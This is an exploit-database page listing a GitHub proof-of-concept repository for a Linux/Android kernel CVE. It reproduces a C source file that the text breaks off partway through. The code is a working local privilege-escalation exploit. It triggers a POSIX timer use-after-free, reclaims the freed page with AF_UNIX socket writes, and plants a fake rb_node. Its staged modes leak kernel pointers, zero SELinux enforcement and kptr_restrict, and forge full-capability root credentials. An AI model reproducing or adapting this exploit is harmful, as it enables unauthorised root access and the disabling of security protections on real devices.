Exploit database

GH-b2682eea148b61d664fff913b24cc4d4

lw5959/xring-cve-2026-98260

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-98260

61 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files15
lw5959/xring-cve-2026-98260Revision 8b404774be19

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/xring_plant_realcred.c

C · 81,127 bytes
/* real-cred 试验分支:
 * 保持原有 POSIX timer UAF / AF_UNIX order-1 回收链不变,仅做以下收敛:
 * 1. 临时 fake cred 的 usage 使用合法的 rb color 值 2;
 * 2. 拿到临时 root 后用 setgroups() 触发 prepare_creds()/commit_creds();
 * 3. UAF 成功后让 helper 读取 g_stop 自行退出,不再 SIGKILL 临界区进程。
 *
 * 该分支用于继续排查手机端续期路径,尚未完成端到端稳定性验证。
 *//* CVE-2026-98260 violin (25053RP5CC, 6.18.21) port of the BRM plant.
 *
 * Reclaim the freed order-1 posix_timers_cache page with an 8 KiB
 * AF_UNIX SOCK_STREAM write, plant a fake timerqueue rb_node, and reap
 * the zombie so posix_cpu_timers_exit() performs the constrained write.
 *
 * Fail closed: the page must be proven reclaimed (mm_page_alloc order=1
 * for the victim pfn) before the zombie is reaped.
 *
 * Staged modes:
 *   --slide 0x... --task-only     leak a task_struct pointer, then exit
 *   --slide 0x... --selinux-only  zero selinux_state.enforcing, then exit
 *   --slide 0x... --kptr-test     zero kptr_restrict, then exit
 *   --slide 0x... --selinux-cred  full chain: task -> selinux -> cred -> rootd
 */
#define _GNU_SOURCE 1
#include <errno.h>
#include <fcntl.h>
#include <inttypes.h>
#include <linux/capability.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <stdatomic.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#include "xr98260_profiles.h"

#define TRACE "/sys/kernel/tracing"
#define TRIGGER TRACE "/events/kmem/rss_stat/trigger"
#define CPU0_TRACE TRACE "/per_cpu/cpu0/trace"
#define PAGE_OFFSET UINT64_C(0xffffff8000000000)
/* 内核版本相关常量:见 src/xr98260_profiles.c(old / new 两套,按 uname -r
 * 自动选择;可用 XR98260_KERNEL=old|new 强制覆盖)。 */
#define TIMER_LINK (xr_profile()->alloc_timer_site)   /* alloc_posix_timer bl site */
#define CRED_LINK (xr_profile()->cred_alloc_site)     /* prepare_creds cred_jar site */
#define SELINUX_LINK (xr_profile()->selinux_state)    /* selinux_state, enforcing at +0 */
#define LINK_USER_NS (xr_profile()->init_user_ns)
#define LINK_ROOT_USER (xr_profile()->root_user)
#define LINK_GROUPS (xr_profile()->init_groups)
#define LINK_UCOUNTS (xr_profile()->init_ucounts)
#define TASK_LINK (xr_profile()->task_alloc_site)     /* copy_process task alloc site */
#define TASK_BYTES ((uint64_t)xr_profile()->task_bytes)  /* sizeof(struct task_struct) */
#define TASK_ALLOC ((uint64_t)xr_profile()->task_alloc)  /* task_struct slab size */
#define KPTR_LINK (xr_profile()->kptr_restrict)       /* kptr_restrict */
#define FULLCAP UINT64_C(0x1ffffffffff)
#define TASK_CRED ((uint64_t)xr_profile()->task_cred)
#define INIT_TASK_SIGMASK \
	((uint64_t)xr_profile()->init_task + (uint64_t)xr_profile()->saved_sigmask)

static uint64_t g_slide;
static uint64_t g_write_value;
static uint64_t g_zero_addr;
static uint64_t g_stage0_ctl;
/* ---- stage1: misc bridge ---- */
#define S1_REC_STRIDE 0x58
#define S1_CONFIG_RECORD 8
#define S1_LEAF_DELTA 0x88
#define S1_MINOR 239
#define S1_FOPS_OFF 0x400
#define S1_FOPS_READ_ITER 0x28
#define S1_FOPS_WRITE_ITER 0x30
#define S1_CFG_COUNT 0x00
#define S1_CFG_PAGE 0x10
#define S1_CFG_OPS 0x18
#define S1_CFG_BIN_BUFFER 0x50
#define S1_CFG_BIN_BUFFER_SIZE 0x58
#define LINK_MISC_LIST (xr_profile()->misc_list)
#define LINK_UHID_MISC (xr_profile()->uhid_misc)
#define LINK_UHID_FOPS (xr_profile()->uhid_fops)
#define LINK_CONFIGFS_READ_ITER (xr_profile()->configfs_read_iter)
#define LINK_CONFIGFS_BIN_WRITE_ITER (xr_profile()->configfs_bin_write_iter)
static int g_s1_mode;
static int g_s1_probe;
static int g_s1_config_fd = -1;
static int g_s1_engine_fd = -1;
static uint64_t g_s1_engine_va, g_s1_config_va, g_s1_fops_va, g_s1_misc_list_va, g_s1_uhid_misc_va;
#define LINK_SELINUX_STATE (xr_profile()->selinux_state)
#define LINK_KPTR_RESTRICT (xr_profile()->kptr_restrict)
static int s1_bridge_read64(int fd, uint64_t target, uint64_t *out);
static int s1_bridge_write64(int fd, uint64_t target, uint64_t value);
static int s1_run(void);
static uint64_t g_persist_ptr_ctl;
static uint64_t g_fake_ring_user;
static uint64_t g_fake_page_va;
static int one_uaf(uint64_t target);
static uint64_t g_persist_parent;
static uint64_t g_persist_child;
static int g_persist_mode;
/* 暴露给 rootd.c 的 SETSID 命令:fake 页的内核映射(child 里 mmap 得到,
 * rootd 是 fork 出来的孙进程,继承同一映射)与页内 blob 偏移。
 * SETSID 会在 rootd 的 fork 子进程里改写 blob 的 tsec->sid,从而让共享
 * 该 cred 的整个 rootd 切到新的 SELinux 域(如 late-load 后的 ksu 域)。 */
unsigned char *xr_fake_page;
unsigned int xr_fake_blob_off;
/* fake LSM blob 里写入的 SELinux SID:默认 u:r:shell:s0(本 ROM policy 下 0x646,
 * 由 BPF 差分 init/adbd/shell/system_server 实测;换 policy 后用同样方法重测,
 * 或命令行 --selinux-sid 覆盖)。plant 阶段需要 shell 域权限。 */
static uint32_t g_selinux_sid = 0;

static uint64_t slide_addr(uint64_t link)
{
	return link + g_slide;
}
#define KITIMER_NODE ((uint32_t)xr_profile()->kitimer_node)
#define NFILL 42
#define NFLUSH 2048
#define MAX_RINGS 9000
#define MAX_PIPES 400
#define NVMA 30000
#ifndef F_SETPIPE_SZ
#define F_SETPIPE_SZ 1031
#endif
#ifndef WNOWAIT
#define WNOWAIT 0x01000000
#endif

static _Atomic int g_go;
static _Atomic int g_stop;
static _Atomic int g_lockers;
static _Atomic int g_in_mprotect;
static _Atomic int g_exec_tid;
static _Atomic int g_mprotect_reported;
static void *g_vmas;
static size_t g_vmalen;

struct ipc {
	atomic_int phase;
	/* ★helper 的停止开关必须放在 MAP_SHARED 的 ipc 里:locker 是
	 * clone(CLONE_VM) 出来的,共享的是 child_race 的 mm;main 的
	 * g_stop 与它不共享。main 在 reap 完成后置位,locker 才退出,
	 * 这样 reclaim 期间 locker 仍持有 mm/大 VMA,保持和旧版一致的
	 * 页面分配环境(提前退出会明显降低 socket 回收命中率)。 */
	atomic_int helpers_stop;
	int helpers[4];
	int nhelpers;
	/* fake 页映射(MAP_SHARED,跨 fork 可见):cred child 在 reclaim_stream
	 * 之前就 fork 了,拿不到主进程后来设置的 xr_fake_page,需经共享内存传递。 */
	uint64_t fake_page;
	uint32_t fake_blob_off;
	/* UAF 命中时由子进程写入,主进程读(跨 fork 可见) */
	uint64_t ring_user;
	uint64_t fake_page_va;
};
static struct ipc *ipc;

static uint64_t g_all[2200];
static int g_all_n;
static int g_pipes[MAX_PIPES][2];
static int g_npipes;
static uint64_t *g_ctx;
static int g_nrings;

static void on_alarm(int sig)
{
	(void)sig;
}

static int write_file_mode(const char *path, const char *text, int extra)
{
	int fd = open(path, O_WRONLY | O_CLOEXEC | extra);
	ssize_t n;
	if (fd < 0)
		return -1;
	n = write(fd, text, strlen(text));
	close(fd);
	return n == (ssize_t)strlen(text) ? 0 : -1;
}

static int write_file(const char *path, const char *text)
{
	return write_file_mode(path, text, 0);
}

static int trigger_cmd(const char *text)
{
	if (!write_file(TRIGGER, text))
		return 0;
	return errno == EEXIST ? 0 : -1;
}

static int kick_rss(void)
{
	unsigned char *page = mmap(NULL, 4096, PROT_READ | PROT_WRITE,
				   MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (write_file(TRACE "/events/kmem/rss_stat/enable", "1\n"))
		return -1;
	if (page != MAP_FAILED) {
		((volatile unsigned char *)page)[0] = 1;
		munmap(page, 4096);
	}
	write_file(TRACE "/events/kmem/rss_stat/enable", "0\n");
	return 0;
}

static void disarm(void)
{
	write_file(TRACE "/tracing_on", "0\n");
	trigger_cmd("!enable_event:kmem:kmem_cache_alloc\n");
	trigger_cmd("!enable_event:kmem:kmem_cache_free\n");
	trigger_cmd("!enable_event:kmem:mm_page_free\n");
	trigger_cmd("disable_event:kmem:kmem_cache_alloc\n");
	trigger_cmd("disable_event:kmem:kmem_cache_free\n");
	trigger_cmd("disable_event:kmem:mm_page_free\n");
	kick_rss();
	trigger_cmd("!disable_event:kmem:kmem_cache_alloc\n");
	trigger_cmd("!disable_event:kmem:kmem_cache_free\n");
	trigger_cmd("!disable_event:kmem:mm_page_free\n");
	write_file(TRACE "/events/filemap/mm_filemap_add_to_page_cache/enable", "0\n");
	write_file(TRACE "/buffer_size_kb", "7\n");
}

static void quiet_reclaim_trace(void)
{
	write_file(TRACE "/tracing_on", "0\n");
	trigger_cmd("!enable_event:kmem:mm_page_free\n");
	trigger_cmd("!enable_event:kmem:mm_page_alloc\n");
	trigger_cmd("disable_event:kmem:mm_page_free\n");
	trigger_cmd("disable_event:kmem:mm_page_alloc\n");
	kick_rss();
	trigger_cmd("!disable_event:kmem:mm_page_free\n");
	trigger_cmd("!disable_event:kmem:mm_page_alloc\n");
	write_file(TRACE "/events/filemap/mm_filemap_add_to_page_cache/enable", "0\n");
	write_file(TRACE "/buffer_size_kb", "7\n");
}

static int trace_off_on(void)
{
	if (write_file(TRACE "/tracing_on", "0\n") ||
	    write_file_mode(TRACE "/trace", "", O_TRUNC))
		return -1;
	return write_file(TRACE "/tracing_on", "1\n");
}

static uint64_t object_pfn(uint64_t ptr)
{
	return ((ptr & ~UINT64_C(0xfff)) - PAGE_OFFSET) >> 12;
}

static uint64_t g_watch[4500];
static int g_nwatch;

static int cmp_u64(const void *a, const void *b)
{
	uint64_t x = *(const uint64_t *)a;
	uint64_t y = *(const uint64_t *)b;
	return (x > y) - (x < y);
}

static void build_watch(void)
{
	int w = 0;
	g_nwatch = 0;
	for (int i = 0; i < g_all_n && g_nwatch + 2 < (int)(sizeof(g_watch) / sizeof(g_watch[0])); i++) {
		g_watch[g_nwatch++] = object_pfn(g_all[i] + KITIMER_NODE);
		g_watch[g_nwatch++] = object_pfn(g_all[i]) & ~UINT64_C(1);
	}
	qsort(g_watch, (size_t)g_nwatch, sizeof(g_watch[0]), cmp_u64);
	for (int i = 0; i < g_nwatch; i++) {
		if (w && g_watch[w - 1] == g_watch[i])
			continue;
		g_watch[w++] = g_watch[i];
	}
	g_nwatch = w;
}

static int watch_has(uint64_t pfn)
{
	return bsearch(&pfn, g_watch, (size_t)g_nwatch, sizeof(pfn), cmp_u64) != NULL;
}

static int cpu_count(void);

static int pfn_in_line(const char *line, uint64_t pfn)
{
	const char *p = strstr(line, "pfn=0x");
	char *end = NULL;
	uint64_t got;
	if (!p)
		return 0;
	got = strtoull(p + 6, &end, 16);
	if (end == p + 6)
		return 0;
	return got == pfn;
}

static int trace_seen(const char *kind, uint64_t pfn)
{
	int ncpu = cpu_count();
	for (int cpu = 0; cpu < ncpu; cpu++) {
		char path[128], line[768];
		FILE *file;
		snprintf(path, sizeof(path), TRACE "/per_cpu/cpu%d/trace", cpu);
		file = fopen(path, "r");
		if (!file)
			continue;
		/* 只扫尾部 1 MiB:等待/扫描期间事件都在最新部分,避免反复读满缓冲。 */
		if (!fseek(file, 0, SEEK_END)) {
			long size = ftell(file);
			long start = size > (1L << 20) ? size - (1L << 20) : 0;
			fseek(file, start, SEEK_SET);
		}
		while (fgets(line, sizeof(line), file)) {
			if (strstr(line, kind) && pfn_in_line(line, pfn)) {
				fclose(file);
				return 1;
			}
		}
		fclose(file);
	}
	return 0;
}

static uint64_t parse_pfn(const char *line)
{
	const char *p = strstr(line, "pfn=0x");
	if (!p)
		return UINT64_MAX;
	return strtoull(p + 6, NULL, 16);
}

static int cpu_count(void)
{
	char buf[128];
	char *p;
	int fd, n = 0;
	ssize_t got;
	memset(buf, 0, sizeof(buf));
	fd = open("/sys/devices/system/cpu/present", O_RDONLY | O_CLOEXEC);
	if (fd < 0)
		return 8;
	got = read(fd, buf, sizeof(buf) - 1);
	close(fd);
	if (got <= 0)
		return 8;
	for (p = buf; *p; ) {
		int v = 0;
		if (*p < '0' || *p > '9') {
			p++;
			continue;
		}
		while (*p >= '0' && *p <= '9')
			v = v * 10 + (*p++ - '0');
		if (v + 1 > n)
			n = v + 1;
	}
	if (n < 1)
		return 8;
	return n > 16 ? 16 : n;
}

static int g_socks[256][2];
static int g_nsocks;

static void close_socks(void)
{
	for (int i = 0; i < g_nsocks; i++) {
		close(g_socks[i][0]);
		close(g_socks[i][1]);
	}
	g_nsocks = 0;
}

static unsigned long drain_socks(void)
{
	unsigned char buf[65536];
	unsigned long total = 0;
	memset(buf, 0x42, sizeof(buf));
	g_nsocks = 0;
	for (int i = 0; i < 256 && total < (4UL << 30); i++) {
		int sz = 16 << 20;
		int wrote = 0;
		if (socketpair(AF_UNIX, SOCK_STREAM, 0, g_socks[i]))
			break;
		setsockopt(g_socks[i][0], SOL_SOCKET, SO_SNDBUF, &sz, sizeof(sz));
		setsockopt(g_socks[i][1], SOL_SOCKET, SO_RCVBUF, &sz, sizeof(sz));
		if (fcntl(g_socks[i][0], F_SETFL, O_NONBLOCK)) {
			close(g_socks[i][0]);
			close(g_socks[i][1]);
			break;
		}
		while (wrote < (16 << 20)) {
			ssize_t n = write(g_socks[i][0], buf, sizeof(buf));
			if (n < 0)
				break;
			wrote += (int)n;
		}
		if (!wrote) {
			close(g_socks[i][0]);
			close(g_socks[i][1]);
			break;
		}
		total += (unsigned long)wrote;
		g_nsocks++;
	}
	dprintf(STDOUT_FILENO, "[sock] pairs=%d MiB=%lu\n", g_nsocks, total >> 20);
	return total;
}

static int pin_cpu(int cpu)
{
	cpu_set_t set;
	CPU_ZERO(&set);
	CPU_SET(cpu, &set);
	return sched_setaffinity(0, sizeof(set), &set);
}

static unsigned long drain_pipes(void)
{
	unsigned char buf[65536];
	unsigned long total = 0;
	memset(buf, 0x41, sizeof(buf));
	g_npipes = 0;
	int cpus = cpu_count();
	for (int i = 0; i < MAX_PIPES && total < (80UL << 20); i++) {
		int cap, wrote = 0;
		pin_cpu(i % cpus);
		if (pipe(g_pipes[i]))
			break;
		cap = fcntl(g_pipes[i][1], F_SETPIPE_SZ, 1 << 20);
		if (cap < 0)
			cap = 65536;
		if (fcntl(g_pipes[i][1], F_SETFL, O_NONBLOCK)) {
			close(g_pipes[i][0]);
			close(g_pipes[i][1]);
			break;
		}
		while (wrote < cap) {
			size_t chunk = sizeof(buf);
			ssize_t n;
			if (chunk > (size_t)(cap - wrote))
				chunk = (size_t)(cap - wrote);
			n = write(g_pipes[i][1], buf, chunk);
			if (n < 0) {
				if (errno == EAGAIN)
					break;
				close(g_pipes[i][0]);
				close(g_pipes[i][1]);
				dprintf(STDOUT_FILENO, "[drain] write errno=%d\n", errno);
				return total;
			}
			wrote += (int)n;
			total += (unsigned long)n;
		}
		g_npipes++;
	}
	dprintf(STDOUT_FILENO, "[drain] pipes=%d MiB=%lu\n", g_npipes, total >> 20);
	return total;
}

static int read_raw(uint8_t *buf, size_t cap, size_t *used)
{
	int fd = open(TRACE "/per_cpu/cpu0/trace_pipe_raw", O_RDONLY | O_CLOEXEC);
	if (fd < 0)
		return -1;
	alarm(1);
	while (*used + 4096 < cap) {
		ssize_t n = read(fd, buf + *used, cap - *used);
		if (n < 0) {
			if (errno == EINTR)
				break;
			close(fd);
			return -1;
		}
		if (n == 0)
			break;
		*used += (size_t)n;
	}
	alarm(0);
	close(fd);
	return 0;
}

static int collect_nth(int index, int *count, uint64_t *chosen)
{
	uint8_t *buf = malloc(8U << 20);
	size_t used = 0;
	uint8_t needle[8];
	uint64_t site = slide_addr(TIMER_LINK);
	int fd, n = 0;
	if (!buf)
		return -1;
	memcpy(needle, &site, 8);
	*chosen = 0;
	fd = open(TRACE "/per_cpu/cpu0/trace_pipe_raw", O_RDONLY | O_CLOEXEC);
	if (fd < 0) {
		free(buf);
		return -1;
	}
	alarm(2);
	while (used + 4096 < (8U << 20)) {
		ssize_t got = read(fd, buf + used, (8U << 20) - used);
		if (got <= 0)
			break;
		used += (size_t)got;
	}
	alarm(0);
	close(fd);
	for (size_t i = 0; i + 32 <= used; i++) {
		uint64_t got, ptr, req;
		if (memcmp(buf + i, needle, 8))
			continue;
		memcpy(&got, buf + i, 8);
		memcpy(&ptr, buf + i + 8, 8);
		memcpy(&req, buf + i + 24, 8);
		if (got != site || req != (uint64_t)xr_profile()->kitimer_bytes || (ptr >> 48) != 0xffff || (ptr & 7))
			continue;
		if (n < (int)(sizeof(g_all) / sizeof(g_all[0])))
			g_all[n] = ptr;
		*chosen = (n == index) ? ptr : *chosen;
		n++;
	}
	free(buf);
	*count = n;
	g_all_n = n;
	dprintf(STDOUT_FILENO, "[uaf] captured=%d chosen=%#" PRIx64 " raw=%zu\n",
		n, *chosen, used);
	return (n > index && *chosen) ? 0 : -1;
}

static int collect_site(uint64_t site, uint64_t bytes, uint64_t *ptrs, int cap)
{
	uint8_t *buf = malloc(4U << 20);
	size_t used = 0;
	uint8_t needle[8];
	int n = 0;
	if (!buf)
		return -1;
	memcpy(needle, &site, 8);
	if (read_raw(buf, 4U << 20, &used)) {
		free(buf);
		return -1;
	}
	for (size_t i = 0; i + 32 <= used && n < cap; i++) {
		uint64_t got, ptr, req;
		if (memcmp(buf + i, needle, 8))
			continue;
		memcpy(&got, buf + i, 8);
		memcpy(&ptr, buf + i + 8, 8);
		memcpy(&req, buf + i + 24, 8);
		if (got != site || req != bytes)
			continue;
		if ((ptr >> 48) != 0xffff || (ptr & 7))
			continue;
		ptrs[n++] = ptr;
	}
	free(buf);
	return n;
}

static int text_has_comm(const char *comm)
{
	FILE *file = fopen(CPU0_TRACE, "r");
	char line[768];
	int n = 0;
	if (!file)
		return -1;
	while (fgets(line, sizeof(line), file)) {
		if (strstr(line, "do_timer_create") && strstr(line, comm))
			n++;
	}
	fclose(file);
	return n;
}

static int prepare_vmas(void)
{
	long page = 4096;
	int fd = (int)syscall(SYS_memfd_create, "v", MFD_CLOEXEC);
	void *base;
	if (fd < 0 || ftruncate(fd, page))
		return -1;
	g_vmalen = (size_t)NVMA * (size_t)page;
	base = mmap(NULL, g_vmalen, PROT_NONE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (base == MAP_FAILED)
		return -1;
	for (int i = 0; i < NVMA; i++) {
		void *at = (char *)base + (size_t)i * (size_t)page;
		if (mmap(at, (size_t)page, PROT_READ, MAP_SHARED | MAP_FIXED, fd, 0) != at)
			return -1;
	}
	close(fd);
	g_vmas = base;
	return 0;
}

#define HELPER_STACK (1 << 20)

static int spawn_helper(int (*fn)(void *), void *arg)
{
	void *stack = mmap(NULL, HELPER_STACK, PROT_READ | PROT_WRITE,
			   MAP_PRIVATE | MAP_ANONYMOUS | MAP_STACK, -1, 0);
	int pid;
	if (stack == MAP_FAILED)
		return -1;
	pid = clone(fn, (char *)stack + HELPER_STACK, CLONE_VM | SIGCHLD, arg);
	return pid;
}

/* helper 是 child_race 用 clone(CLONE_VM) 建出来的,共享 child 的 mm。
 * 停止开关放在 MAP_SHARED 的 ipc 里,由 main 在 reap 完成后置位:
 * 不能提前退出——locker 提前退出会释放它持有的 mm/大 VMA,改变
 * reclaim 阶段的页面分配环境,实测会把 socket 回收命中率打下来
 * (zero_selinux 连续 hit=0,plant 直接 abort)。 */
static int helpers_should_stop(void)
{
	return ipc && atomic_load_explicit(&ipc->helpers_stop, memory_order_acquire);
}

static int locker_fn(void *arg)
{
	int prot = PROT_NONE;
	(void)arg;
	while (!atomic_load_explicit(&g_go, memory_order_acquire)) {
		if (atomic_load_explicit(&g_stop, memory_order_acquire))
			return 0;
		if (helpers_should_stop())
			return 0;
		sched_yield();
	}
	atomic_fetch_add_explicit(&g_lockers, 1, memory_order_release);
	while (!atomic_load_explicit(&g_stop, memory_order_acquire)) {
		int rc;
		if (helpers_should_stop())
			break;
		atomic_store_explicit(&g_in_mprotect, 1, memory_order_release);
		rc = mprotect(g_vmas, g_vmalen, prot);
		atomic_store_explicit(&g_in_mprotect, 0, memory_order_release);
		if (rc && atomic_exchange_explicit(&g_mprotect_reported, 1, memory_order_relaxed) == 0)
			dprintf(STDOUT_FILENO, "[locker] mprotect errno=%d\n", errno);
		prot = prot == PROT_NONE ? PROT_READ : PROT_NONE;
	}
	return 0;
}

static int killer_fn(void *arg)
{
	int tgid = (int)(intptr_t)arg;
	int old;
	while (!(old = atomic_load_explicit(&g_exec_tid, memory_order_acquire))) {
		if (atomic_load_explicit(&g_stop, memory_order_acquire))
			return 0;
		if (helpers_should_stop())
			return 0;
		sched_yield();
	}
	for (;;) {
		if (syscall(SYS_tgkill, tgid, old, 0) < 0 && errno == ESRCH)
			break;
		if (atomic_load_explicit(&g_stop, memory_order_acquire))
			return 0;
		if (helpers_should_stop())
			return 0;
	}
	syscall(SYS_tgkill, tgid, tgid, SIGKILL);
	dprintf(STDOUT_FILENO, "[killer] SIGKILL tgid=%d old=%d errno=%d\n",
		tgid, old, errno);
	return 0;
}

static void *exec_fn(void *arg)
{
	struct sigevent event;
	struct itimerspec spec;
	timer_t id;
	char *argv[] = { (char *)"uaf_plant", (char *)"--exec-ok", NULL };
	(void)arg;
	struct sigevent armed_event;
	memset(&event, 0, sizeof(event));
	event.sigev_notify = SIGEV_NONE;
	memset(&armed_event, 0, sizeof(armed_event));
	armed_event.sigev_notify = SIGEV_SIGNAL;
	armed_event.sigev_signo = SIGRTMIN;
	memset(&spec, 0, sizeof(spec));
	spec.it_value.tv_sec = 3600;
	if (pin_cpu(0))
		_exit(116);
	while (atomic_load_explicit(&ipc->phase, memory_order_acquire) < 2) {
		if (atomic_load_explicit(&g_stop, memory_order_acquire))
			_exit(124);
		sched_yield();
	}
	timer_t armed;
	int made = 0;
	for (int i = 0; i < 2048; i++) {
		timer_t extra;
		if (timer_create(CLOCK_THREAD_CPUTIME_ID,
				 i == 1024 ? &armed_event : &event, &extra))
			_exit(120);
		if (i == 1024) {
			armed = extra;
			if (timer_settime(armed, 0, &spec, NULL))
				_exit(120);
		}
		made++;
	}
	if (made < 2048)
		_exit(120);
	atomic_store_explicit(&g_exec_tid, (int)syscall(SYS_gettid), memory_order_release);
	atomic_store_explicit(&ipc->phase, 3, memory_order_release);
	while (atomic_load_explicit(&ipc->phase, memory_order_acquire) < 4) {
		if (atomic_load_explicit(&g_stop, memory_order_acquire))
			_exit(125);
		sched_yield();
	}
	atomic_store_explicit(&g_go, 1, memory_order_release);
	while (atomic_load_explicit(&g_in_mprotect, memory_order_acquire) == 0) {
		if (atomic_load_explicit(&g_stop, memory_order_acquire))
			_exit(123);
		sched_yield();
	}
	dprintf(STDOUT_FILENO, "[exec] begin tid=%ld\n", (long)syscall(SYS_gettid));
	execve("/proc/self/exe", argv, NULL);
	_exit(122);
}

static int child_race(void)
{
	pthread_t exec_thread;
	sigset_t block;
	int tgid = (int)getpid();
	sigemptyset(&block);
	sigaddset(&block, SIGRTMIN);
	sigprocmask(SIG_BLOCK, &block, NULL);
	if (prepare_vmas())
		_exit(110);
	dprintf(STDOUT_FILENO, "[child] vmas ready pid=%d\n", getpid());
	if (pin_cpu(1))
		_exit(115);
	for (int i = 0; i < 3; i++) {
		int pid = spawn_helper(locker_fn, NULL);
		if (pid < 0)
			_exit(111);
		ipc->helpers[ipc->nhelpers++] = pid;
	}
	{
		int pid = spawn_helper(killer_fn, (void *)(intptr_t)tgid);
		if (pid < 0)
			_exit(112);
		ipc->helpers[ipc->nhelpers++] = pid;
	}
	if (pthread_create(&exec_thread, NULL, exec_fn, NULL))
		_exit(114);
	atomic_store_explicit(&ipc->phase, 1, memory_order_release);
	for (;;)
		pause();
}

static int wait_phase(int want)
{
	for (int i = 0; i < 600; i++) {
		struct timespec pause = { .tv_nsec = 50000000 };
		if (atomic_load_explicit(&ipc->phase, memory_order_acquire) >= want)
			return 0;
		nanosleep(&pause, NULL);
	}
	return -1;
}

static void stop_helpers(void)
{
	int round;
	if (!ipc)
		return;
	/* 先让 locker 自己看到停止标志(reap 后调用,绝不提前),
	 * 再 SIGKILL 兜底。 */
	atomic_store_explicit(&ipc->helpers_stop, 1, memory_order_release);
	for (int i = 0; i < ipc->nhelpers && i < 4; i++) {
		if (ipc->helpers[i] > 0)
			kill(ipc->helpers[i], SIGKILL);
	}
	/* SIGKILL 只是兜底:killer 已经置 g_stop,locker 会在当前
	 * mprotect 返回后退出。这里等它们真正消失,避免下一轮 one_uaf
	 * 又叠上 3 个抱着 10GB VMA 的进程。僵尸由 init 回收。 */
	for (round = 0; round < 60; round++) {
		int alive = 0;
		struct timespec pause = { .tv_nsec = 50000000 };
		for (int i = 0; i < ipc->nhelpers && i < 4; i++) {
			int pid = ipc->helpers[i];
			if (pid > 0 && kill(pid, 0) == 0)
				alive++;
		}
		if (!alive)
			return;
		nanosleep(&pause, NULL);
	}
}
static int wait_zombie(pid_t child, int *status_out)
{
	for (int i = 0; i < 400; i++) {
		siginfo_t info;
		struct timespec pause = { .tv_nsec = 50000000 };
		memset(&info, 0, sizeof(info));
		if (waitid(P_PID, (id_t)child, &info, WEXITED | WNOHANG | WNOWAIT))
			return -1;
		if (info.si_pid == child) {
			*status_out = info.si_status;
			return info.si_code;
		}
		nanosleep(&pause, NULL);
	}
	return 0;
}

static int line_has_pfn(const char *line, uint64_t pfn)
{
	char exact[40];
	char *hit;
	int n = snprintf(exact, sizeof(exact), "pfn=0x%" PRIx64, pfn);
	if (n <= 0)
		return 0;
	hit = strstr(line, exact);
	if (!hit)
		return 0;
	{
		char end = hit[n];
		if ((end >= '0' && end <= '9') ||
		    (end >= 'a' && end <= 'f') ||
		    (end >= 'A' && end <= 'F'))
			return 0;
	}
	return 1;
}

static int raw_has_ptr(uint64_t ptr)
{
	uint8_t needle[8];
	int cpu;
	memcpy(needle, &ptr, 8);
	for (cpu = 0; cpu < 8; cpu++) {
		char path[128];
		uint8_t *buf = malloc(8U << 20);
		size_t used = 0;
		int fd;
		if (!buf)
			return -1;
		snprintf(path, sizeof(path), TRACE "/per_cpu/cpu%d/trace_pipe_raw", cpu);
		fd = open(path, O_RDONLY | O_CLOEXEC);
		if (fd >= 0) {
			alarm(2);
			while (used + 4096 < (8U << 20)) {
				ssize_t n = read(fd, buf + used, (8U << 20) - used);
				if (n < 0) {
					if (errno == EINTR)
						break;
					break;
				}
				if (n == 0)
					break;
				used += (size_t)n;
			}
			alarm(0);
			close(fd);
		}
		dprintf(STDOUT_FILENO, "[freeobj] cpu%d raw_bytes=%zu\n", cpu, used);
		for (size_t i = 0; i + 8 <= used; i++) {
			if (!memcmp(buf + i, needle, 8)) {
				free(buf);
				dprintf(STDOUT_FILENO, "[freeobj] ptr on cpu%d raw_bytes=%zu\n",
					cpu, used);
				return 1;
			}
		}
		free(buf);
	}
	return 0;
}

static int flush_timers(void)
{
	struct sigevent event;
	timer_t *ids = calloc(NFLUSH, sizeof(*ids));
	int created = 0;
	if (!ids)
		return -1;
	memset(&event, 0, sizeof(event));
	event.sigev_notify = SIGEV_NONE;
	for (int i = 0; i < NFLUSH; i++) {
		if (timer_create(CLOCK_THREAD_CPUTIME_ID, &event, &ids[i]))
			break;
		created++;
	}
	for (int i = 0; i < created; i++)
		timer_delete(ids[i]);
	free(ids);
	dprintf(STDOUT_FILENO, "[flush] deleted=%d\n", created);
	return created >= 256 ? 0 : -1;
}

#define MAX_CPU 16
#define PER_CPU_RINGS 512
static uint64_t g_cpu_ctx[MAX_CPU][PER_CPU_RINGS];
static int g_cpu_n[MAX_CPU];
static int g_cpu_lines[MAX_CPU];
static int g_hit_cpu = -1;
static int g_hit_index = -1;

static void destroy_rings(void)
{
	unsigned int destroyed = 0;
	for (int cpu = 0; cpu < MAX_CPU; cpu++) {
		for (int i = 0; i < g_cpu_n[cpu]; i++) {
			syscall(SYS_io_destroy, g_cpu_ctx[cpu][i]);
			if ((++destroyed & 31U) == 0)
				sched_yield();
		}
		g_cpu_n[cpu] = 0;
	}
	g_nrings = 0;
	dprintf(STDOUT_FILENO, "[uaf] io_destroy count=%u\n", destroyed);
}

static void *spray_cpu(void *arg)
{
	int cpu = (int)(intptr_t)arg;
	struct timespec pause = { .tv_nsec = 400000000 };
	if (pin_cpu(cpu))
		return NULL;
	while (!atomic_load_explicit(&g_stop, memory_order_acquire) &&
	       g_cpu_n[cpu] < PER_CPU_RINGS) {
		int batch = 0;
		for (int i = 0; i < 32 && g_cpu_n[cpu] < PER_CPU_RINGS; i++) {
			uint64_t ctx = 0;
			if (syscall(SYS_io_setup, 1, &ctx)) {
				dprintf(STDOUT_FILENO, "[aio] cpu%d stop errno=%d n=%d\n",
					cpu, errno, g_cpu_n[cpu]);
				return NULL;
			}
			g_cpu_ctx[cpu][g_cpu_n[cpu]++] = ctx;
			batch++;
		}
		if (!batch)
			break;
		nanosleep(&pause, NULL);
	}
	return NULL;
}

static int reclaim_and_plant(uint64_t victim, uint64_t target)
{
	uint64_t node_addr = victim + KITIMER_NODE;
	uint64_t node_pfn = object_pfn(node_addr);
	unsigned node_off = (unsigned)(node_addr & 0xfff);
	pthread_t threads[MAX_CPU];
	int ncpu, other = 0, rings = 0, free_hits = 0, alloc_hits = 0;
	int shown = 0, victim_frees = 0;
